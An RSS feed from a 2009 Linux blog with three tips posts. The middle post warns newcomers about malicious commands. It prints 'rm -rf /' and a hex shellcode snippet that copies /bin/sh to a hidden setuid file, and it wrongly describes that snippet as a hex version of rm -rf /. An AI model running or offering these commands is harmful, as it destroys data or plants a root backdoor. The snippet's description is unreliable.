<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bridge to Nova &#187; Linux</title>
	<atom:link href="http://www.bridgetonova.com/category/linux/feed" rel="self" type="application/rss+xml" />
	<link>http://www.bridgetonova.com</link>
	<description>Keep Your Mind Wide Open</description>
	<lastBuildDate>Sat, 05 Dec 2009 04:14:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>How to check and change CPU speed in Ubuntu</title>
		<link>http://www.bridgetonova.com/2009/10/how-to-check-and-change-cpu-speed-in-ubuntu.html</link>
		<comments>http://www.bridgetonova.com/2009/10/how-to-check-and-change-cpu-speed-in-ubuntu.html#comments</comments>
		<pubDate>Thu, 29 Oct 2009 18:35:03 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.bridgetonova.com/2009/10/how-to-check-and-change-cpu-speed-in-ubuntu.html</guid>
		<description><![CDATA[If you are control freak, perhaps you might want to take control of your CPU depending on your need. Firstly, you should be able to check what is the current speed of your CPU. Here is the command. cat /proc/cpuinfo &#124; grep -i Mhz You will see your CPU speed in Mhz. To take control [...]]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript"><!--
google_ad_client = "pub-7697226414384593";
//468x60, btn home page
google_ad_slot = "3068992652";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p><p>If you are control freak, perhaps you might want to take control of your CPU depending on your need. Firstly, you should be able to check what is the current speed of your CPU. Here is the command.</p>
<blockquote><p>cat /proc/cpuinfo | grep -i Mhz</p>
</blockquote>
<p>You will see your CPU speed in Mhz. To take control of your CPU speed, you need to install cpufreq utility.</p>
<blockquote><p>sudo apt-get install cpufrequtils</p>
</blockquote>
<p>There are four modes come with the utility. They are as follow:</p>
<blockquote><ul>
<li><em>ondemand</em> </li>
</ul>
<p>CPU frequency is scaled based on load. </p>
<ul>
<li><em>conservative </em></li>
</ul>
<p>The CPUfreq governor &quot;conservative&quot;, much like the &quot;ondemand&quot; governor, sets the CPU depending on the current usage. It differs in behaviour in that it gracefully increases and decreases the CPU speed rather than jumping to max speed the moment there is any load on the CPU. This behaviour more suitable in a battery powered environment. </p>
<ul>
<li><em>performance</em> </li>
</ul>
<p>CPU only runs at max frequency regardless of load. </p>
<ul>
<li><em>powersave </em></li>
</ul>
<p>CPU only runs at min frequency regardless of load. </p>
</blockquote>
<p>Depending on your need, you can set cpu freq as you desire. For example: to change to ondemand mode, type this command</p>
<blockquote><p>cpufreq-set -g ondemand</p>
</blockquote>
<p>In case if you have more than one CPU, you need to repeat the command with option c. You can check how many CPU you have by typing </p>
<blockquote><p>ls /sys/devices/system/cpu/ </p>
</blockquote>
<p>To set the cpufreq for second cpu, you need to use option c as follow:</p>
<blockquote><p>cpufreq-set -c 1 -g ondemand</p>
</blockquote>
<p>I hope this will be helpful. Any question? Leave a comment as usual.</p>
<p>&#160;</p>
<p>Source : <a href="http://ubuntuguide.org/wiki/Ubuntu:Feisty#How_to_enable_your_CPU.27s_Power_Saving.2FFrequency_Scaling_features">Ubuntuguide</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bridgetonova.com/2009/10/how-to-check-and-change-cpu-speed-in-ubuntu.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Dark side of Linux</title>
		<link>http://www.bridgetonova.com/2009/05/the-dark-side-of-linux.html</link>
		<comments>http://www.bridgetonova.com/2009/05/the-dark-side-of-linux.html#comments</comments>
		<pubDate>Sun, 03 May 2009 20:26:29 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://www.bridgetonova.com/2009/05/the-dark-side-of-linux.html</guid>
		<description><![CDATA[Yep, Ubuntu 9.04 is out and making buzz as usual. Most of the new Linux users are excited about “No more virus, yeah?”. Well, it’s quite true. Linux is more secure and have got very low security risk. But beware! Linux has got its own dark side as command line could do anything. If you [...]]]></description>
			<content:encoded><![CDATA[<p>Yep, Ubuntu 9.04 is out and making buzz as usual. Most of the new Linux users are excited about “No more virus, yeah?”. Well, it’s quite true. Linux is more secure and have got very low security risk. But beware! Linux has got its own dark side as command line could do anything. </p>
<p>If you ever ask for help in some forums or chat rooms, some of the users could have tricked you to enter the commands that will harm your computers and lose your precious files permanently. </p>
<p>The most dangerous command for novice users is</p>
<blockquote><p>rm -rf /</p>
</blockquote>
<p>This command will forcefully delete all the files inside the root and all sub directories.</p>
<p>Another one, this one could even fool experienced linux users.</p>
<blockquote><p>char esp[] __attribute__ ((section(&quot;.text&quot;))) /* e.s.p     <br />release */      <br />= &quot;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&quot;      <br />&quot;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&quot;      <br />&quot;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&quot;      <br />&quot;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&quot;      <br />&quot;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&quot;      <br />&quot;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&quot;      <br />&quot;\x6e\x2f\x73\x68\x00\x2d\x63\x00&quot;      <br />&quot;cp -p /bin/sh /tmp/.beyond; chmod 4755      <br />/tmp/.beyond;&quot;;</p>
</blockquote>
<p>What the heck is that you may ask. Well it’s the equivalent of rm –rf / in hex version.</p>
<p>So how can you avoid the disaster? My advice would be always do man or google the commands the strangers give you before you execute. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.bridgetonova.com/2009/05/the-dark-side-of-linux.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>rpm -qf equivalent in apt</title>
		<link>http://www.bridgetonova.com/2009/04/rpm-qf-equivalent-in-apt.html</link>
		<comments>http://www.bridgetonova.com/2009/04/rpm-qf-equivalent-in-apt.html#comments</comments>
		<pubDate>Tue, 21 Apr 2009 12:47:49 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://www.bridgetonova.com/2009/04/rpm-qf-equivalent-in-apt.html</guid>
		<description><![CDATA[Those who migrate to Debian variant from Red Hat will be missing the convenient of rpm -qf. For those of you who don&#8217;t know what is rpm -qf &#60;filename&#62;, this command is very useful if you used rpm package management system. It will tell you which package manage that file. Many people are not aware [...]]]></description>
			<content:encoded><![CDATA[<p>Those who migrate to Debian variant from Red Hat will be missing the convenient of rpm -qf. </p>
<blockquote><p>For those of you who don&#8217;t know what is rpm -qf &lt;filename&gt;, this command is very useful if you used rpm package management system. It will tell you which package manage that file.</p>
</blockquote>
<p>Many people are not aware of the Debian alternative for rpm -qf. First you need&nbsp; to install apt-file by using the following command.</p>
<ul>
<li>-sudo apt-get install apt-file</li>
</ul>
<p>Now you can search the package of the file by using: </p>
<ul>
<li>sudo apt-file search –fixed-string $&lt;filename&gt; </li>
</ul>
<p>That&#8217;s it! I hope this will help you in your troubleshooting, debugging, resolving version conflicts, etc&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bridgetonova.com/2009/04/rpm-qf-equivalent-in-apt.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
